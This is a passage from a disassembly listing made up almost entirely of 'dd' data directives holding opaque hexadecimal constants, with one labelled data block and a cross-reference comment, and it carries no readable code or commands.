dd 57370C6h, 83CF802Ah, 550801F2h, 93359F88h, 0BC942528h
dd 404158A0h, 0E20F74BFh, 243B6F52h, 3AC03AF4h, 85C56Ah
dd 0D4BFEBBEh, 0AC86745Bh, 0B89E41F2h, 477C000h, 1CFFF42h
dd 8D1B6DD7h, 628CAE1Fh, 0D8C830ACh, 0F97B8819h, 1B316887h
dd 10904BDFh, 6E50C0ACh, 18B0B1DCh, 0DDA82509h, 9D0E0C5h
dd 3825FDCCh, 0A7E1C7CFh, 0AC4CB963h, 206D4B06h, 675BE7C0h
dd 95EC63Ch, 70C852E1h, 121092E4h, 8086F668h, 542EB56Ch
dd 0A2F78818h, 0B521199h, 8CAC76DEh, 269EF891h, 17A060A8h
dd 0E4BDCD4Bh, 90DB000Bh, 4E268247h, 0D630CA12h, 3F29988Eh
dd 0BA83011Bh, 0DEF23720h, 30A821B5h, 6585E28h, 4072CFD0h
dd 0BF35407Fh, 0D4E74A64h, 0D8DCC07Ch, 0AC136F59h, 344098FDh
dd 0CC76E273h, 0B6C83E3Fh, 3C5694C8h, 801E0512h, 0B34388F4h
dd 0CB81D8DFh, 60085504h, 4F6D4DC8h, 0A8BC23B4h, 49C3B289h
dd 48D031A8h, 60C5B07Ch, 2CE882ACh, 10AA2Eh, 817FE646h
dd 898646Dh, 0FC127220h, 0EA53035Eh, 52C5FA1Dh, 0D8028BBh
dd 730A75EFh, 0AC361E5Ah, 64402613h, 903ACE0Ch, 0FC270052h
dd 5632B6E7h, 0BA25AC6Eh, 8F4CB98Eh, 58C492EEh, 5B14A3E8h
dd 8F8CA090h, 291E89F8h, 6F60C988h, 0F40BE0BEh, 0B98C2428h
dd 1DC40ADAh, 0A756484h, 6E4038B2h, 0B43E63Bh, 63CA8AA3h
dd 34ADF022h, 653DE044h, 10ED800Dh, 510B5941h, 0B9A7C06h
dd 2CC4CB43h, 0CCC0B412h, 665D26E5h, 707E2D54h, 333B3090h
dd 16CD12D1h, 90000C4Ah, 0C057E78Ch, 65802FFh, 2342AC80h
dd 85A60C8h, 7867B524h, 466EE0B0h, 0B1361C2Ah, 0EB698094h
dd 6F0EC468h, 7DB8C09h, 56896F4h, 7716665Ch, 0C8AC3C31h
dd 0C057A930h, 1E846B80h, 820881EEh, 75A2527Bh, 0FF0864D9h
dd 0DE243821h, 798401D0h, 0E1673B04h, 0D02460FEh, 1CBBB901h
dd 0AA1AC51h, 555AC889h, 0E70E3480h, 0F9002CDAh, 0FC8FCD77h
dd 5D137967h, 32C03433h, 0DC59C75h, 0CA1680BAh, 4854A0B1h
dd 0FF481018h, 7890AA09h, 76F994C3h, 40944D6Ch, 0CC526074h
dd 0FBDBC00h, 0F1824A65h, 0A0CD749Fh, 0BAA6C288h, 4755E54h
dd 283D44h, 63F07C0Ah, 436725C9h, 0F8A70480h, 871CFE57h
dd 1D41561Eh, 0AA67CA04h, 882CC43Eh, 0EE6171F0h, 0F0ABEC10h
dd 48B49ADAh, 63018890h, 58F0A945h, 20AD86A7h, 806FAC27h
dd 9EBA0AF4h, 294F00B6h, 0C1B2BB46h, 0D10B7CB4h, 0A096878Eh
dd 69F026E0h, 0F130B822h, 0B0D85010h, 21766300h, 0A5B761CCh
dd 24CB0082h, 28F0B851h, 400062D4h, 0CA4A78D8h, 3ED17A53h
dd 5ABE6DF2h, 0A218D509h, 844F8C01h, 0EC16D4CCh, 3BB07A60h
dd 0F855B3h, 9ECA407Eh, 0D2D6DC4Bh, 297C60F1h, 7D710400h
dd 0E75B980Fh, 316B4A17h, 806A6358h, 9C3C5F10h, 0A12991Ch
dd 2706C232h, 358704C4h, 302CD042h, 0E7301662h, 6059101Eh
dd 324EE51h, 4A754279h, 77F24406h, 0A62500F8h, 1E189E15h
dd 738DAFFh, 70478FBEh, 620389C0h, 3843AE3Fh, 0D5CF03EAh
dd 9806CB09h, 266E52C9h, 0E64ED3Eh, 0D3205120h, 0CE504FD0h
dd 2C319630h, 1D042F26h
dword_4E414C dd 1C05B9C9h, 4463D288h, 0C050D0E4h, 0E84898F0h, 0BBCA6908h
; DATA XREF: ___:off_43A870o
dd 88F02F02h, 0C5298213h, 4C05449h, 58F2FAACh, 168922Ch
dd 67E202AFh, 9881E295h, 0DC0DE5E6h, 43008438h, 5B1B5807h
dd 3A021704h, 0D85C05DFh, 0C3AB9503h, 52D78071h, 644846F8h
dd 1F02EDCDh, 5925C0B2h, 1C05D738h, 0F06C84ACh, 0B04D160Ch
dd 0F4605A44h, 0B4332369h, 0C3E44210h, 40C9D705h, 0A22DE03Ch
dd 7C09E8A9h, 6A237882h, 2CC21D04h, 7108033Eh, 8B48D795h
dd 6819EC44h, 0A158F45Eh, 3422A021h, 0D21E7C17h, 5866AC98h
dd 0A89934B1h, 0E032B698h, 2B58E07Ah, 0AFB4BD30h, 0A12C20A4h
dd 49080210h, 5DCDE8E8h, 56586C01h, 5B80C817h, 82885200h
dd 3C879F3h, 0F15E0A38h, 5C20C87Fh, 526E0BAh, 0BC882D8Fh
dd 9AA0004Fh, 3107C8FFh, 0C310A2B7h, 0A7AA05F5h, 36D21C0h
dd 8A1EAC79h, 0B6D02916h, 30D84085h, 16907D57h, 1A62F5Dh
dd 3ECD784h, 487C6842h, 4204E4Ch, 37BD284h, 6827C46Eh
dd 0E800DD9Ch, 87564A79h, 282D491h, 0EB73F078h, 0EC541D09h
dd 0E08C79C0h, 2A180407h, 0E2BD8FC8h, 0D8B02E44h, 237C5180h
dd 3367956Dh, 8380F19h, 300C4151h, 0D10379D0h, 474E6D82h
dd 3C16A083h, 9294A15Dh, 0F8DECC59h, 0E8A7545Ch, 34180036h
dd 554160EEh, 0CD16A5F7h, 5F1CBE0Ah, 9011478Bh, 22C41CCh
dd 0CA7D0B44h, 607812D7h, 0F827CF5Ah, 42A984C2h, 1F4F14Ch
dd 1FEB26F3h, 2D183063h, 0D7C2B800h, 0C1FBDEFFh, 9804EED9h
dd 0FC16300Eh, 0BAB01F11h, 6C100995h, 0B668B8B8h, 0C81693D4h
dd 2AF10624h, 80292021h, 12BFFC52h, 2614C05h, 84A62120h
dd 0EE487044h, 881906D5h, 7A7041A9h, 7BFF0004h, 20486FEDh
dd 7730C821h, 884F5096h, 0D3144AC2h, 6BD807C8h, 0CD002405h
dd 0A01BE1C6h, 0FDB02h, 3D135EC4h, 85D24474h, 0C5086801h
dd 0AB4F664Ch, 78477D4h, 0A65112F0h, 0DCDAF20Fh, 430B2C5Ch
dd 0CA80402Eh, 78446019h, 6B3213BBh, 0B90022B8h, 0BE2E8257h
dd 9C6E2726h, 0CC8EE284h, 0C965C885h, 582D28h, 7318E22Dh
dd 80040FCAh, 322FEDE5h, 626CA933h, 20586108h, 5004B476h
dd 82612F88h, 48D0742Ch, 193222Fh, 0A259E1C0h, 5B022C33h
dd 2C9F8854h, 9B429448h, 234B3202h, 40B3CA4Eh, 59F0EBh
dd 22865F2h, 9B11FFD9h, 0CEB55428h, 0B870C80Eh, 52F0972h
dd 1C803090h, 95217D92h, 0FC41F800h, 540051D7h, 98223BCAh
dd 408491h, 6CF25F33h, 0C7AC2720h, 1E4D897h, 0E5C48131h
dd 49A887CAh, 10EE9E4h, 0F829AA2Ah, 0D0F268C4h, 5B50A798h
dd 20880600h, 3B7BC5Eh, 203C7875h, 0A8946A2Dh, 375F103Ch
dd 4E49310Bh, 1D688CE4h, 92693008h, 59FCE248h, 9BE70888h
dd 0C9693D07h, 84BAD6C0h, 92340073h, 87F39377h, 84B2B919h
dd 3067DB3Ah, 1602A8CEh, 1988DE2Fh, 0B98E2058h, 75911870h
dd 0C0C63918h, 11594169h, 662763A1h, 69485DFh, 0B407E416h
dd 0BA8138B9h, 0C0EC27CDh, 45C8131Fh, 91904346h, 11A36E4Eh
dd 0D069B2A1h, 0F825DB31h, 0FB649010h, 2A3F0049h, 2C8B61B0h
dd 90043381h, 0DAEF894Eh, 4E0C4F0h, 87FC423Ah, 3124909Fh
dd 9CA62954h, 0F10CC7F0h, 10361CF8h, 662131Fh, 0F2F4D87Eh
dd 112AC441h, 26C0AC5Ch, 32D59AA9h, 709CD824h, 8CE4182Dh
dd 60EC9AE6h, 6812195Ah, 2D7C9D16h, 8712A0A4h, 0CCC69DFh
dd 5BFB0553h, 0FA66CD25h, 2C94FC00h, 30971D96h, 73E06C27h
dd 0CB7CBCE0h, 0B2D05C01h, 29DDE66Bh, 860402Fh, 0DBF76D55h
dd 9527912h, 751CB006h, 0CAF00968h, 0B4817FCBh, 40AFB267h
dd 0EC4072C8h, 0EA0F5D01h, 0FF3E665Eh, 50071884h, 850CBCC0h
dd 0B4A0D488h, 75E50102h, 51CA566Ch, 1EE83C3Fh, 8313CB23h
dd 4C79B8A1h, 7888DB04h, 2460971Ah, 0BC145228h, 2E0718B2h
dd 72266B31h, 104566C8h, 0B80C98ACh, 0E8535DF0h, 0E117F0Ah
dd 2DAFD04Ch, 68C77B00h, 8300FF78h, 8A5154EEh, 7A7FB4h
dd 0A7B66020h, 6DE831D0h, 0F6F44600h, 0D8101739h, 0D1AB2FECh
dd 0B51F881h, 79707599h, 479E1208h, 71519C20h, 4024B45Bh
dd 0E8FCEDFAh, 0E6505D00h, 92A82A9Fh, 9B443E84h, 6617B7BEh
dd 9D7081B1h, 0C2775h, 81BFC7D4h, 2564011h, 66B29719h
dd 0D080619Ch, 457B40Fh, 8B3C1D58h, 75D8E927h, 4F84022Eh
dd 0DCC9C3D0h, 65E050D2h, 8097D444h, 0C34BEC60h, 0D5AA1EC1h
dd 0A9AE09EDh, 609604E6h, 0C106CA86h, 0EF592CD8h, 0E4154254h
dd 10283209h, 9D88AC60h, 275ADC00h, 0D94DABF9h, 6CB21648h
dd 1A748C20h, 0E14CBC2Fh, 733F7352h, 33C100A0h, 0FE4A223h
dd 80F890FEh, 60348708h, 5DD3891Eh, 0D007324h, 0CA1285C0h
dd 4A08FF66h, 61C3039h, 0AD403059h, 0BEC42799h, 0CB439C40h
dd 38FB87F2h, 0FC824B14h, 5924E14Eh, 68092C3Ch, 0D4405FFEh
dd 0C9002B91h, 0BAB2C362h, 0C84F88Bh, 246E16B7h, 609E2790h
dd 7AFD5902h, 5AA180D5h, 1FB7578h, 0A80D2284h, 0D074F880h
dd 0F0F1232Ch, 1098B5DEh, 344BE571h, 4B511488h, 0DF04D878h
dd 0CF201F61h, 0D6F834B0h, 1A4E0548h, 9171D2C8h, 7E5159A0h
dd 0E96C2420h, 26DCA157h, 0EDD8B005h, 890D8B2Dh, 0BE507814h
dd 3FACE294h, 6304985Ch, 0D484937Ch, 55C4B0E4h, 0F064E023h
dd 91612C0h, 3078FC2Ah, 0FE653922h, 0E4B8A0BCh, 385C2672h
dd 1C682CA4h, 87EA079h, 708044B8h, 8B308853h, 581D803Ch
dd 38CC0052h, 8407E77Eh, 511EECC6h, 8744482Bh, 7CA8D2ACh
dd 0D44E5A00h, 166509FCh, 0A0F0125Eh, 0DBCC0989h, 0B0385DB6h
dd 0DDE0F471h, 0C283648h, 0C0FE99DFh, 9F482Bh, 0DEF47900h
dd 884B2778h, 20E86251h, 0F109F344h, 0E8E0F067h, 0FBD22B0h
dd 77AA08E1h, 25428381h, 68153066h, 18009A4Fh, 0FC8253D7h
dd 27CB8ECh, 5B5110DBh, 0BCC66E55h, 0F756AA2Eh, 0BDDB8000h
dd 56D3211h, 2B57C222h, 1C808129h, 7C5502AFh, 4884960h
dd 0E080429Ch, 8A050240h, 7F06C892h, 0C5585A76h, 0F2F3A028h
dd 2826605Ch, 9A47C7B0h, 87810D0Bh, 89BCC0C4h, 0AC744FEAh
dd 28E29220h, 0AA93CA84h, 7FFDB8C1h, 2B361E8h, 67D270E3h
dd 887ADC18h, 8BA820h, 0D06CBA5Eh, 0ACC04A99h, 0E87E5609h
dd 7454C21Bh, 94DD8C88h, 671F4381h, 0FD00AACFh, 0C1B1F0DEh
dd 3BAB10EAh, 0D10371E7h, 5C3FA3BFh, 8481A2C0h, 6CC3D208h
dd 3D380073h, 542262B2h, 0BF096F02h, 828CAD4Bh, 40E9490h
dd 0DC68885Eh, 591583A0h, 0CC698813h, 4000285Dh, 673A1A7Ah
dd 0B82C48B8h, 2E44A501h, 807E5868h, 0F90AD2E8h, 1F27255Eh
dd 92D4B363h, 50E41ACFh, 43023884h, 2618E5ACh, 88D4A878h
dd 0F70917E1h, 87A0907Ah, 78279778h, 802498FBh, 8426024h
dd 8A88F202h, 2176629Ch, 729CC8D4h, 250B2C29h, 20988087h
dd 50BE2113h, 95BC1E49h, 0FE620802h, 1D42445Ch, 705885A6h
dd 0F51E48A8h, 62B23CBCh, 0AC485710h, 0B56077CAh, 3094CFC9h
dd 0AC4D042Eh, 90FA0C9h, 602200C5h, 0C528F87h, 7F41994Bh
dd 620EA418h, 2C77EABh, 5CBD0458h, 18D424BCh, 54EF80B2h
dd 26008378h, 176AB763h, 3587E1DEh, 0A3A80DF7h, 64A79EF4h
dd 0AA511368h, 60385AB1h, 1090C486h, 0CC45B502h, 0C15132F4h
dd 0A0652EA7h, 0CA0CEC28h, 33F8168Eh, 2054600h, 5A5236ADh
dd 9A72B04Ch, 0F0200194h, 0F4AC2867h, 7470A4E8h, 1C81B82h
dd 0CC0609BAh, 58B61992h
dd 5D40791Eh, 84A7259h, 6A2D0022h, 2F426DB2h, 120552E6h
dd 1B79CAA2h, 73E2AC41h, 4F4754Fh, 7AFF1837h, 77161174h
dd 6889489Ch, 259CF08Ah, 0CC6491EDh, 2B60E2F8h, 4403EBB0h
dd 0DC22B5D6h, 2C7CB773h, 5C905742h, 0D87E6734h, 37A8530Eh
dd 4000AC95h, 0ECAE3173h, 14264A79h, 48893898h, 84D20062h
dd 8411C120h, 44084C54h, 0A7D83003h, 3C55A04h, 8C57CAF8h
dd 84C0F00Fh, 0B419060Dh, 0B54E7E10h, 0DD3BE410h, 0F4A23F6h
dd 232E1089h, 2DA45D98h, 50BA8408h, 10F90ACh, 0E07F5D01h
dd 206A22ABh, 0C70D1268h, 0C0653316h, 121CC1E0h, 0D118212Ch
dd 408786E0h, 9BA25988h, 3E62B03Fh, 535A1898h, 5585E5A8h
dd 1C60A872h, 0AC61134Ah, 0F768C2C0h, 1309D866h, 0E8C3B01Fh
dd 0B875A938h, 44034B38h, 75E9CA4h, 3D70BD4Ah, 39750822h
dd 4BA730F0h, 0BE747CC6h, 6F5AE600h, 641281C0h, 6A3500B8h
dd 0AE8FF9FEh, 241E5066h, 1925CACFh, 0FEE4F764h, 744F1661h
dd 0E4141771h, 0F7828C8h, 8B4994FEh, 0FADA0240h, 611D2B0Bh
dd 0D07485A4h, 178A006Eh, 0FEC784C1h, 0D767E57h, 5EEDF400h
dd 86682572h, 2F096E1h, 0B467EB79h, 28F14C8h, 0D81E6500h
dd 1677320Fh, 5A709AF9h, 0D5401217h, 73188300h, 0E8BC02DDh
dd 584689EAh, 0AC9C9897h, 8C0C51CFh, 0A0FD0F0h, 4FFACAD9h
dd 1AADBACCh, 0AB808860h, 7C6CE8C9h, 0DBAC06D8h, 4F5BD089h
dd 52CAE003h, 58700119h, 0BE5C9FA8h, 8E482081h, 7873C94Ah
dd 2467C08Ch, 6198C074h, 62E3FA54h, 0FE509303h, 80CEC887h
dd 0B8E87477h, 0A37835C4h, 920A480h, 0B4890A26h, 10FA2E0Ch
dd 877A05A8h, 0B67DD0A1h, 3AA859D8h, 0AE0E0155h, 8DF1D675h
dd 3587EC30h, 0AD58A12Ah, 7AFC7C08h, 8C24A94Fh, 0DE497002h
dd 2A58F189h, 149697ECh, 32125573h, 0C4B27FB7h, 0E906C453h
dd 1003A567h, 0BFB48F00h, 32CB8D47h, 12064FC5h, 67DCE04Ch
dd 8CBD5024h, 1C75E06Eh, 0A5BF9AC8h, 953934A8h, 0D9CA0414h
dd 0A0C9C764h, 9D88505Eh, 438C1454h, 85682302h, 60EE079Fh
dd 5C6E7228h, 0F7E3C53h, 883A92C9h, 30A0B30Bh, 0F21696EDh
dd 4D06260h, 9F02B41h, 9D9068BEh, 691E4451h, 31798744h
dd 0EC8CC8Ch, 0C51CACA1h, 7000E57Fh, 96FBAB2h, 0D84B6C90h
dd 5BB6B409h, 2FA510BCh, 16581E2Ah, 0F7315332h, 0A4C04B30h
dd 91966ACAh, 1F586238h, 6E241061h, 4D310030h, 1E4E2728h
dd 0B200F894h, 12EC25F4h, 4BCAFEC8h, 4DEC092Dh, 0AC0E3479h
dd 3C4B7798h, 9C058BEh, 57B4C7E5h, 14957882h, 0FA282449h
dd 0A7F80CF2h, 19CDF8C9h, 2BF0E00Ch, 0C805F993h, 0C4205120h
dd 899496EBh, 0ED815C0Dh, 3FDB8848h, 2C21C004h, 66D64089h
dd 20589A90h, 1900CDE0h, 9ED340A0h, 19173F8h, 6BB19A5Fh
dd 0F0230175h, 5612BA1Eh, 0DCC40B66h, 0F045A4ECh, 2C1C172Fh
dd 7C9EDF70h, 0C033750Ah, 2F0B880Bh, 5466E480h, 4B9FA8ECh
dd 74445765h, 242C6E58h, 0B3000C67h, 19087471h, 0B68F0097h
dd 0D43579AAh, 0ED005C2Ah, 0DBFFDF01h, 0FB5BD0h, 0D23E8451h
dd 7FE1174Eh, 0C8201609h, 295CA037h, 1DC274E5h, 3D0D1880h
dd 0BCF36F8Bh, 9FC8A022h, 0D45064E8h, 6509B775h, 4086AC06h
dd 0C0F62Ch, 7FEFC5DFh, 67A8266Bh, 38709C4Fh, 3BFCA84h
dd 0BE569761h, 0A6C1087Eh, 5B907459h, 7EEB9D5Ch, 0AE5A443Fh
dd 0C2086CDDh, 1A42CA3h, 184CE52h, 0EE8EF135h, 4C561C6Ah
dd 0C54BFE6Fh, 4ED48474h, 243E34A8h, 9E499FBh, 70D99050h
dd 0E6430A40h, 0E881B5BFh, 80990C30h, 31C52C21h, 4BA6F845h
dd 7098CAC1h, 0C404DB00h, 0C6D46155h, 40740B4Eh, 0E50038B7h
dd 1EBC6BB2h, 123F9716h, 0BE2AE004h, 1891E71Eh, 0EB81C835h
dd 0BA5C1B15h, 56AC040Ch, 9C8CE650h, 5B0440D4h, 13725526h
dd 51102F18h, 72800F9h, 290D62Bh, 220088BAh, 0F076AA0Bh
dd 0C03089ABh, 2869F228h, 7507F917h, 7452F58Eh, 0C7E78363h
dd 0DC3398C2h, 3D48050h, 0DA8865E6h, 66B01B00h, 0E51A0DA1h
dd 0BBF7508Fh, 0FB271AEh, 3A25BBC1h, 62CC0516h, 0D60841B6h
dd 6FB3665Ah, 465580C2h, 2CCA26ECh, 85BD800Ch, 0CDC9B90Eh
dd 0BC438800h, 7F5BD4A7h, 2F1526CFh, 87FD40D0h, 0F89881ACh
dd 0C4058494h, 6481F489h, 0A5C862AEh, 57EC0F71h, 69E02103h
dd 543DAC5Bh, 0BD5FF8C0h, 7C2320h, 19AF9030h, 0CA5D1A39h
dd 0A877B927h, 0C9018C10h, 0FE7412F0h, 7B871CCh, 0D8025292h
dd 405CB7FFh, 4004B4F8h, 0BA9ED609h, 2858FB2Dh, 3409003Ch
dd 2AAA8417h, 0F14C65C8h, 884A0544h, 1080B990h, 2C67E164h
dd 12CC2883h, 4E0D0CAh, 554A093Eh, 42E2A099h, 104454A4h
dd 0F785C84h, 32939A03h, 0F46E1883h, 20E1B200h, 8F00E9BCh
dd 0D92C8BA3h, 0A5AF257h, 0B76AC1Eh, 0E7610488h, 0C57CFC10h
dd 3C32AD02h, 64747E60h, 250244FAh, 1443CCF5h, 1F8FA115h
dd 66E7C0h, 845F7F1Dh, 34884BF2h, 0E8058B78h, 0F9B4EABh
dd 480C7CC7h, 99E32633h, 573085B4h, 31445631h, 85B5AC14h
dd 15FE5A39h, 0A83CC0C9h, 0BE8C024h, 1853AD2Ah, 51A4A809h
dd 3F72808Ch, 0D0B74779h, 6164CA18h, 0E0C0D618h, 17062658h
dd 609B1D84h, 46E5812Dh, 9F2090E0h, 83275C84h, 0C984CCE0h
dd 20CC0048h, 7131F8Dh, 24902528h, 76DDB564h, 0CC0B0BDh
dd 8C465A20h, 3602CC88h, 0F1082AC0h, 0C7F4E0C4h, 0C9AF8045h
dd 2577F909h, 0E8B88EE1h, 0D34F004Bh, 6056404Eh, 76419101h
dd 0FDA7ABE7h, 0B963E040h, 1660504h, 84F6882Ch, 1754E984h
dd 0F4CC83EBh, 345F5FF5h, 222081A0h, 0DC560033h, 5FBA0190h
dd 320BB51Ch, 6058606Eh, 14AC11CBh, 0FA6813F4h, 43B4A01Eh
dd 0B04F0C01h, 0C762B27Ch, 0F8DFF7FCh, 8A2400AFh, 0D3320F67h
dd 0AD483A16h, 0B2210180h, 0F4AC25C5h, 0CAD4057Fh, 8388900Eh
dd 765AEF34h, 0C72C8FBCh, 59A5401Ch, 0C07C12DFh, 382F9CA1h
dd 987D0598h, 0A4A09665h, 88A09620h, 9167EE6h, 69124C8h
dd 0B08858F0h, 1E3F88BDh, 280A32C8h, 2D244605h, 78C02D9Eh
dd 5E805F6Ch, 1882957Ch, 24002C4Fh, 0F5403A2h, 0DF102389h
dd 0F30443A3h, 22316013h, 410CD84Ch, 2AA0A039h, 414CBCB0h
dd 7407AA87h, 0DB0DC8ACh, 2938FCA8h, 0CACCC450h, 0F8BCAEh
dd 58277B1Dh, 917C82FFh, 9881F22Ah, 70033E0h, 34A3BC2Eh
dd 5FAC5628h, 6950C0C1h, 0E3F03DADh, 3F10F065h, 7937D0B9h
dd 0D11B55C9h, 0A3F2B0h, 11FE9Eh, 0F6997A16h, 0C4A7BA61h
dd 5E01FF78h, 0ACC03183h, 0CC219C27h, 0B4C25079h, 605623BEh
dd 84428880h, 0A0B1FE87h, 0A9059EB8h, 651098ACh, 9DF066h
dd 0A9A3A80Ch, 20ED00CFh, 8906CB2Bh, 0C003F33Fh, 0CC665BB9h
dd 0D6A102B0h, 0CF268BABh, 0BA757C61h, 43F504C8h, 0B48788D4h
dd 0BACBDC20h, 0F9F867h, 0FE23FA53h, 0DB287989h, 131BAB12h
dd 34F63C00h, 167B8A03h, 0C86A6Eh, 75E252D8h, 0B6381005h
dd 5C90BA56h, 49648B18h, 0A80852E8h, 84B010BDh, 0C1F78060h
dd 4BB10407h, 0B2C47A7Eh, 0C4F478A1h, 0BA482F9Eh, 0FE5964C0h
dd 0B94E104h, 88832787h, 9E685EF2h, 3AB21E38h, 6C440220h
dd 7E4AEA90h, 0D9085854h, 11E30597h, 0B1A4F065h, 7EFD144h
dd 0EB494689h, 0B01F107Fh, 7A01F2C7h, 0A687ED28h, 677A8098h
dd 0E216055Ch, 0F8D44B04h, 0BCB23CF4h, 5968E1D0h, 9E9C3867h
dd 0F01DFD0Ah, 71821107h
dd 80A93E82h, 0EFFEECE4h, 0C99B3167h, 3E416030h, 77C0D820h
dd 0E2FB0E53h, 88D8BCFCh, 4D00BE3Ch, 2BF95972h, 6DEC25h
dd 2D105145h, 2E7B02E4h, 9D082701h, 5AA76819h, 3DE52C40h
dd 0CA640A77h, 82908A51h, 0DEC33C08h, 243C287Ch, 4A098C60h
dd 2600E071h, 3A61008Ah, 234D03ECh, 0A6602025h, 0BA5E5970h
dd 9C073C9h, 772A0922h, 880D9C59h, 20117Fh, 0A11395Dh
dd 0A7A85582h, 6E10BEB2h, 0D378A83Bh, 0C9917BEDh, 6CD08540h
dd 57E9711Eh, 0DEB6CEh, 0BA31BE15h, 854E028Fh, 3892DD68h
dd 0FEF810DEh, 7401BDACh, 7D3895B2h, 7FE048F8h, 626ED80h
dd 0E3884F60h, 1E1E401Fh, 86065302h, 44C88095h, 609BB3F0h
dd 0A851480Ch, 0B88BE716h, 0D0560E63h, 8C54E1A5h, 0A1BF1C40h
dd 2D530779h, 2FA3D0h, 74B56C87h, 0F6226300h, 0B8030127h
dd 0C3D94CFEh, 6EEB481Eh, 4FEE1294h, 0D18B7428h, 0F700C478h
dd 7C42248Dh, 0DEAEB068h, 4F80FFD8h, 0F026DF74h, 270F2860h
dd 0EA552Ch, 0DABBE36Bh, 0BFE513B8h, 8E88B048h, 84407582h
dd 305C544h, 4028B6Ch, 181FF80Ch, 58C442ECh, 6A3A1214h
dd 840BD4D0h, 0AC640C46h, 2A983767h, 36167B09h, 4AD8645Dh
dd 0B3E4E0A5h, 1CACD8B4h, 8060763Ch, 28D95710h, 0CDB4F401h
dd 6830A4C8h, 7A490054h, 664AEE54h, 20B66BBAh, 0CA853CD1h
dd 1CEC03C8h, 0B0207509h, 0F09808E4h, 25221720h, 2C90B864h
dd 80BC5CA0h, 0E57CA05h, 6C92A494h, 0A8271BD6h, 878C22BCh
dd 4C7CA0h, 8FACC889h, 761EF7BAh, 0BE1E88E8h, 80D25202h
dd 82AC7918h, 0C583ED81h, 0E34C40FAh, 0CEF5850Ch, 96B9EC21h
dd 0B4612860h, 69CA0BB4h, 0BE5508A7h, 667A5C80h, 415BC82Ah
dd 79E5A4C0h, 25307495h, 0A8409387h, 212FCA53h, 7B506E51h
dd 167D42A2h, 8C809388h, 54673E04h, 50ECC401h, 3E4DD88Dh
dd 0D7109651h, 0D1871D5Eh, 3E968CA4h, 973D38F0h, 5F393400h
dd 10BC7C16h, 0D9FA5407h, 266538D0h, 0AC1B48F6h, 327F0079h
dd 11B7FF63h, 73001542h, 6C77BFAAh, 9EC057ECh, 0FA18AAF8h
dd 34635F4Eh, 61BCE090h, 66B8F904h, 485A2F3h, 301900EAh
dd 39846D4Dh, 0EE890C96h, 0B5FCA26Ch, 793101D6h, 60207B23h
dd 0E43F917h, 682BD7A6h, 0B650AB6Ch, 525C9F0Fh, 2C7640CCh
dd 74C774C2h, 31E22567h, 55ACA400h, 0CA5CCBD9h, 0E4F24A5Eh
dd 584E6427h, 3148FA4Ch, 5C25D8B0h, 0C778223Eh, 7304ACC1h
dd 710050B8h, 0B55B9CB0h, 25882CC8h, 4C52BE56h, 11742C00h
dd 0ABE3281Dh, 0D15560D1h, 0A953C48Ch, 0B4A85617h, 583A4A2h
dd 8CE2921Dh, 760C9Ah, 16651C88h, 747408A9h, 66581D01h
dd 0F897BF3Ch, 0E1808EBh, 27CDB200h, 587AF1F7h, 0C9062598h
dd 9C5B54B0h, 0BEC51800h, 99242EFFh, 71C81CA6h, 681E3F42h
dd 3D640C12h, 0B201D710h, 0DBE1FA4Dh, 56CC6D54h, 338B18C9h
dd 4EB720BBh, 2EA6660Ch, 7F1038h, 0C6A2C9B3h, 17DE4345h
dd 68D39830h, 1E376BAh, 1D668431h, 0C346F6B0h, 81AABBE0h
dd 42BA9E0Ch, 0CD16087h, 775E97A2h, 7E06D038h, 6CA517E3h
dd 0B380010h, 68E6B71h, 1B002CFEh, 0D2338DC7h, 0C10AE456h
dd 0C9B1B731h, 0AF5441C8h, 31384091h, 7F80DC8Dh, 9C881F75h
dd 36B08092h, 0A1BB2F48h, 0FC061BF8h, 0B6BEA5CAh, 0D2A320E0h
dd 83B57100h, 0B37A499h, 652E14CCh, 78B09Ah, 0A56FB23Bh
dd 1B27FE79h, 0EFB0AA15h, 0EF05386Ch, 17FF0160h, 0FD216ECFh
dd 3B898400h, 0D2E0F357h, 65C30AFh, 41279E28h, 6EB44854h
dd 80E0CD80h, 84F056BDh, 0D1541B00h, 3105D2F3h, 70E666ACh
dd 0C700506Dh, 982333C3h, 0C74354A6h, 50350638h, 1E6717CFh
dd 4C5588A1h, 0D644F9C4h, 0FF57184Bh, 83A7B102h, 143AD38h
dd 0A6A5AE34h, 898130CBh, 737E6646h, 0D010A0B6h, 0F32B2F0Ch
dd 4081B003h, 0F8000C59h, 37FD0230h, 990D38h, 8086A227h
dd 0B0AE3B20h, 0EAEDF700h, 0A6C96467h, 0B45200DBh, 1EA7AFD9h
dd 3E006A62h, 0B08C849h, 1DD31343h, 3C03CFB6h, 0A1D9681h
dd 894BB0h, 8EC231h, 1C0243B9h, 30450109h, 8A75931Ch, 3688FF05h
dd 1B665181h, 0DFF0161h, 33139B8h, 75E1CFF1h, 213820C1h
dd 0EB77100h, 6C321AB8h, 0D5881E15h, 442A9EE9h, 94874597h
dd 6BE80054h, 0A6089F1Eh, 6E7134Ch, 3D55B037h, 889A0158h
dd 34A15733h, 7E00E36Eh, 1C217131h, 0D10604h, 9F9BB8ACh
dd 0CF1D1786h, 37D2EB1Fh, 0B50E4C68h, 8A310A8Fh, 0D504D49Dh
dd 1C9056EAh, 0E44E88h, 9C8CAFCAh, 15F8BB32h, 0A0A1B705h
dd 0E0477BA6h, 60203B0Dh, 7E193AFh, 35382BFEh, 0E3AB8076h
dd 31502EA5h, 0B0484FD8h, 0B6180E7Fh, 0CA45FAAh, 40D34362h
dd 90E8D054h, 67F8A01Ch, 0CDE1307Bh, 839B7948h, 8D71BA00h
dd 2430380Ch, 0A89102D5h, 8391CFEh, 757E0880h, 44066A41h
dd 0E30FB03Fh, 28A14950h, 9D240C9Fh, 84A475D0h, 2961A712h
dd 4B62EC20h, 2031E411h, 2800EB26h, 430732DAh, 29F808h
dd 1EFD0902h, 312F4606h, 10C4A4Dh, 9CDA787Fh, 3520DD0Bh
dd 4960C06Ch, 4250CA6h, 249238A8h, 0E266B780h, 802C99C1h
dd 0E608B6A9h, 99144959h, 90891B0h, 0A8C8231h, 0FBCD444h
dd 2BB1E62h, 44538F86h, 44D32BCh, 10408969h, 0B81D349Eh
dd 34A89295h, 9AF62F01h, 0A7711839h, 0C4C8435h, 0D20B1F88h
dd 0DE224C49h, 0AF3C6F30h, 25D0184Dh, 7894B510h, 8CE2048h
dd 0AC1DDA00h, 314EE527h, 9CC75029h, 0E8BE4C22h, 180B357Ch
dd 86F007F1h, 0FE04E015h, 8B00213Ch, 50537238h, 967FA36h
dd 9B1AA644h, 0E23005h, 56D36C90h, 1D03C19Ch, 3020797Ah
dd 0BE03E927h, 0B82E2081h, 4DBD9897h, 1DC0C7A4h, 4977B703h
